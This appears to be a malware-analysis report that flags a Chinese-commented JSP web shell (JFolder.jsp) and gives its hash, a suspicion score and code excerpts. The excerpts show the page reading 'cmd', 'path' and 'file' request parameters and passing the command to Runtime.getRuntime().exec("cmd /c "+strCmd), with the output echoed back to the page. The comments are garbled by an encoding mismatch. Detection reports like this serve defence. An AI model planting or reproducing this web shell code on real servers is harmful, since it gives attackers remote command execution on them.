Suspicious ^80% Download

非常牛逼的Jsp大马.jsp

JSP runs the cmd request parameterWeb Shell

SHA-2563e4413d2aa81b756f09f9eb472e742c7d2062f39e27a8d29a25a80ebab09b64a

Evidence

JSP page import directive lines 5–15

5:21… 򵥵�ϵͳ�ļ�Ŀ¼��ʾ������������Դ���������ṩ�������ļ��������������ܽ�����
6
7@Bugs  :  ����ʱ�������ļ����޷�������ʾ
8*/
9%>
10<%@ page contentType="text/html;charset=gb2312"%>
11<%@page import="java.io.*,java.util.*,java.net.*" %>
12<%!
13private final static int languageNo=0; //���԰汾��0 : ���ģ� 1��Ӣ��
14String strThisFile="JFolder.jsp";
15String[] authorInfo={" <font color=red> ��������-ר�ð …

Web Shell lines 93–108

⋯4 lines
97
98  public String getTimeElapsed() {
99   long time = (System.currentTimeMillis() - starttime) / 1000l;
100   if (time - 60l >= 0){
101    if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
⋯7 lines

JSP reads cmd request parameter lines 391–411

391:36… + " " + strUnit;
392 strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
393 if(strAfterComma=="") strAfterComma=".0";
394 return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
395}
396%>
397<%
398request.setCharacterEncoding("gb2312");
399String tabID = request.getParameter("tabID");
400String strDir = request.getParameter("path");
401String strAction = request.getParameter("action");
402String strFile = request.getParameter("file");
403String strPath = strDir + "\\" + strFile; 
404String strCmd = request.getParameter("cmd");
405StringBuffer sbEdit=new StringBuffer("");
406StringBuffer sbDown=new StringBuffer("");
⋯5 lines

Java getRuntime call reference lines 945–969

⋯9 lines
{
//out.println(strCmd);
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
⋯11 lines

Web Shell lines 978–994

⋯4 lines
982{
983%>
984&nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
985<br>&nbsp;
986<%
⋯8 lines